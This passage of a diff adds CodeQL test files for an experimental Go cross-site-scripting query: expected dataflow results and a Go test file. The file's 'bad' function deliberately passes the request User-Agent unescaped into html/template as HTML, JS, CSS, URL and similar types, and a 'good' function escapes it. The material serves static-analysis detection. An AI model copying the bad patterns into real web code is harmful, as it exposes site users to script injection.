HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src | +| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +| HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | semmle.label | converted | +#select +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | converted | diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go new file mode 100644 index 00000000000..f001bc93138 --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go @@ -0,0 +1,93 @@ +package main + +import ( + "html/template" + "net/http" + "os" +) + +func main() {} + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +type HTMLAlias = template.HTML + +// bad is an example of a bad implementation +func bad(req *http.Request) { + tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) + tmplTag, _ := template.New("test").Parse(`Hi \n`) + tmplScript, _ := template.New("test").Parse(``) + tmplSrcset, _ := template.New("test").Parse(``) + + { + { + var a = template.HTML(req.UserAgent()) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + { + var a template.HTML + a = template.HTML(req.UserAgent()) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + var a HTMLAlias + a = HTMLAlias(req.UserAgent()) + checkError(tmpl.Execute(os.Stdout, a)) + } + } + } + { + var c = template.HTMLAttr(req.UserAgent()) + checkError(tmplTag.Execute(os.Stdout, c)) + } + { + var d = template.JS(req.UserAgent()) + checkError(tmplScript.Execute(os.Stdout, d)) + } + { + var e = template.JSStr(req.UserAgent()) + checkError(tmplScript.Execute(os.Stdout, e)) + } + { + var b = template.CSS(req.UserAgent()) + checkError(tmpl.Execute(os.Stdout, b)) + } + { + var f = template.Srcset(req.UserAgent()) + checkError(tmplSrcset.Execute(os.Stdout, f)) + } + { + var g = template.URL(req.UserAgent()) + checkError(tmpl.Execute(os.Stdout, g)) + } +} + +// good is an example of a good implementation +func good(req *http.Request) { + tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) + { // This will be escaped, so it shoud NOT be caught: + var escaped = req.UserAgent() + checkError(tmpl.Execute(os.Stdout, escaped)) + } + { + // The converted source value does NOT flow to tmpl.Exec, + // so this should NOT be caught. + src := req.UserAgent() + converted := template.HTML(src) + _ = converted + checkError(tmpl.Execute(os.Stdout, src)) + } + { + // The untrusted input is sanitized before use. + tmpl, _ := template.New("test").Parse(`
Your user agent is {{.}}
`) + src := req.UserAgent() + + converted := template.HTML("" + template.HTMLEscapeString(src) + "") + checkError(tmpl.Execute(os.Stdout, converted)) + } +} diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref new file mode 100755 index 00000000000..2c92896e3ee --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref @@ -0,0 +1 @@ +experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql